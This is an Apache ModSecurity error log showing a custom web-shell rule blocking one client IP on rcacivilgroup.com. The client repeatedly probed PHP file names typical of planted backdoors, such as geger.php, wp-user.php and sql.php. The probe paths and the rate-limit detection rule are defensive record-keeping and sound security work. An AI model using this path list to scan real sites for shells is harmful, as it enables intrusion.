[Tue Mar 24 05:48:55.621691 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:23549] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aGeTbFjB5Zu.php"] [unique_id "acG1R5dZesutm6dfYM_lQgAAANc"]
[Tue Mar 24 05:48:56.602405 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:28115] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aGeTbFjB5Zu.php"] [unique_id "acG1SCa_-JXXD03-JNzJKwAAAII"]
[Tue Mar 24 05:48:58.222723 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:27847] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aGeTbFjB5Zu.php"] [unique_id "acG1SvwkUqN4GJAI5oV7mgAAARg"]
[Tue Mar 24 05:48:59.741457 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:21500] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aGeTbFjB5Zu.php"] [unique_id "acG1S5dZesutm6dfYM_lTwAAANY"]
[Tue Mar 24 05:49:00.785642 2026] [:error] [pid 3030:tid 3066] [client 172.213.136.15:35566] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geger.php"] [unique_id "acG1TAyOuILyynfcqfn3fwAAABE"]
[Tue Mar 24 05:49:01.662414 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:26666] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geger.php"] [unique_id "acG1TZdZesutm6dfYM_lUQAAAMQ"]
[Tue Mar 24 05:49:03.376673 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:26671] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geger.php"] [unique_id "acG1T_wkUqN4GJAI5oV7qgAAAQc"]
[Tue Mar 24 05:49:05.969883 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:25866] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geger.php"] [unique_id "acG1USa_-JXXD03-JNzJMQAAAI8"]
[Tue Mar 24 05:49:07.734153 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:22495] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "acG1U_wkUqN4GJAI5oV7rwAAARA"]
[Tue Mar 24 05:49:09.737962 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:24106] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "acG1VfwkUqN4GJAI5oV7twAAAQs"]
[Tue Mar 24 05:49:10.968728 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:35046] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "acG1VvwkUqN4GJAI5oV7vQAAARU"]
[Tue Mar 24 05:49:12.326011 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:20847] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "acG1WJdZesutm6dfYM_lZAAAANA"]
[Tue Mar 24 05:49:13.218070 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:35756] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gi.php"] [unique_id "acG1WZdZesutm6dfYM_laAAAANY"]
[Tue Mar 24 05:49:15.562412 2026] [:error] [pid 3030:tid 3068] [client 172.213.136.15:35719] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gi.php"] [unique_id "acG1WwyOuILyynfcqfn3iwAAABM"]
[Tue Mar 24 05:49:17.782643 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:25488] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gi.php"] [unique_id "acG1XfwkUqN4GJAI5oV70AAAARE"]
[Tue Mar 24 05:49:19.253170 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:28167] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gi.php"] [unique_id "acG1X5dZesutm6dfYM_lbgAAANU"]
[Tue Mar 24 05:49:20.003734 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:26639] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "acG1YJdZesutm6dfYM_lcQAAAM4"]
[Tue Mar 24 05:49:21.087364 2026] [:error] [pid 3030:tid 3058] [client 172.213.136.15:21460] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "acG1YQyOuILyynfcqfn3jgAAAAk"]
[Tue Mar 24 05:49:22.072471 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:24084] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "acG1Yia_-JXXD03-JNzJRgAAAJY"]
[Tue Mar 24 05:49:22.766269 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:35723] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "acG1YvwkUqN4GJAI5oV72wAAAQI"]
[Tue Mar 24 05:49:23.841762 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:35058] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuwno.php"] [unique_id "acG1Y6JBKytnG47nuibdlAAAAFg"]
[Tue Mar 24 05:49:25.130111 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:35758] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuwno.php"] [unique_id "acG1ZfwkUqN4GJAI5oV73wAAARQ"]
[Tue Mar 24 05:49:26.326526 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:20863] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuwno.php"] [unique_id "acG1ZvwkUqN4GJAI5oV75gAAAQI"]
[Tue Mar 24 05:49:27.876016 2026] [:error] [pid 3032:tid 3122] [client 172.213.136.15:28196] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuwno.php"] [unique_id "acG1Zya_-JXXD03-JNzJTgAAAJM"]
[Tue Mar 24 05:49:29.138109 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:39157] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-user.php"] [unique_id "acG1afwkUqN4GJAI5oV77gAAARY"]
[Tue Mar 24 05:49:30.230482 2026] [:error] [pid 3031:tid 3077] [client 172.213.136.15:38708] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-user.php"] [unique_id "acG1aqJBKytnG47nuibdmgAAAEE"]
[Tue Mar 24 05:49:31.640737 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:39159] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-user.php"] [unique_id "acG1a_wkUqN4GJAI5oV79AAAAQg"]
[Tue Mar 24 05:49:33.105529 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:40276] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-user.php"] [unique_id "acG1bfwkUqN4GJAI5oV7-QAAAQo"]
[Tue Mar 24 05:49:34.150493 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:21470] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws29.php"] [unique_id "acG1bpdZesutm6dfYM_lgQAAAMU"]
[Tue Mar 24 05:49:37.665077 2026] [:error] [pid 3030:tid 3059] [client 172.213.136.15:26291] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws29.php"] [unique_id "acG1cQyOuILyynfcqfn3mAAAAAo"]
[Tue Mar 24 05:49:40.869014 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:26635] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws29.php"] [unique_id "acG1dPwkUqN4GJAI5oV8BQAAAQ0"]
[Tue Mar 24 05:49:41.808065 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:25886] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws29.php"] [unique_id "acG1dZdZesutm6dfYM_lnAAAAMI"]
[Tue Mar 24 05:49:43.295828 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:41431] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "acG1dya_-JXXD03-JNzJZwAAAJU"]
[Tue Mar 24 05:49:44.541315 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:31027] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "acG1eCa_-JXXD03-JNzJbQAAAIM"]
[Tue Mar 24 05:49:45.858988 2026] [:error] [pid 3137:tid 3147] [client 172.213.136.15:37081] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "acG1eZdZesutm6dfYM_lpwAAAMg"]
[Tue Mar 24 05:49:47.369050 2026] [:error] [pid 3032:tid 3113] [client 172.213.136.15:40282] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "acG1eya_-JXXD03-JNzJcgAAAIo"]
[Tue Mar 24 05:49:48.297753 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:31718] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fc72f.php"] [unique_id "acG1fJdZesutm6dfYM_lqQAAANY"]
[Tue Mar 24 05:50:06.992303 2026] [:error] [pid 3031:tid 3076] [client 172.213.136.15:26679] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2019.php"] [unique_id "acG1jqJBKytnG47nuibdtwAAAEA"]
[Tue Mar 24 05:50:07.977080 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:25915] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2019.php"] [unique_id "acG1j_wkUqN4GJAI5oV8SQAAAQk"]
[Tue Mar 24 05:50:08.840924 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:28165] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2019.php"] [unique_id "acG1kPwkUqN4GJAI5oV8SwAAAQI"]
[Tue Mar 24 05:50:10.912818 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:25995] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2019.php"] [unique_id "acG1kvwkUqN4GJAI5oV8VgAAAQ0"]
[Tue Mar 24 05:50:11.899363 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:23500] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tyasd.php"] [unique_id "acG1k5dZesutm6dfYM_mEwAAANY"]
[Tue Mar 24 05:50:13.608765 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:25596] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tyasd.php"] [unique_id "acG1lSa_-JXXD03-JNzJpgAAAJU"]
[Tue Mar 24 05:50:14.878881 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:25875] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tyasd.php"] [unique_id "acG1lpdZesutm6dfYM_mGQAAAMU"]
[Tue Mar 24 05:50:16.472327 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:31735] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tyasd.php"] [unique_id "acG1mJdZesutm6dfYM_mJwAAAMQ"]
[Tue Mar 24 05:50:17.752837 2026] [:error] [pid 3031:tid 3091] [client 172.213.136.15:23949] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwxx.php"] [unique_id "acG1maJBKytnG47nuibdugAAAE8"]
[Tue Mar 24 05:50:19.149289 2026] [:error] [pid 38767:tid 38771] [client 172.213.136.15:24548] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwxx.php"] [unique_id "acG1m_wkUqN4GJAI5oV8ggAAAQE"]
[Tue Mar 24 05:50:20.688537 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:35521] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwxx.php"] [unique_id "acG1nJdZesutm6dfYM_mMgAAANM"]
[Tue Mar 24 05:50:22.202025 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:26217] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwxx.php"] [unique_id "acG1nvwkUqN4GJAI5oV8jAAAAQY"]
[Tue Mar 24 05:50:23.962090 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:28112] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "acG1n_wkUqN4GJAI5oV8lwAAAQw"]
[Tue Mar 24 05:50:24.947115 2026] [:error] [pid 3030:tid 3052] [client 172.213.136.15:23972] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "acG1oAyOuILyynfcqfn3vgAAAAM"]
[Tue Mar 24 05:50:25.935916 2026] [:error] [pid 3032:tid 3128] [client 172.213.136.15:26674] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "acG1oSa_-JXXD03-JNzJvQAAAJg"]
[Tue Mar 24 05:50:26.975804 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:37845] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "acG1opdZesutm6dfYM_mOwAAAME"]
[Tue Mar 24 05:50:28.811138 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:22665] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "acG1pPwkUqN4GJAI5oV8qAAAARg"]
[Tue Mar 24 05:50:29.979176 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:37853] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "acG1pSa_-JXXD03-JNzJwgAAAJA"]
[Tue Mar 24 05:50:30.942798 2026] [:error] [pid 3031:tid 3088] [client 172.213.136.15:25975] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "acG1pqJBKytnG47nuibdxQAAAEw"]
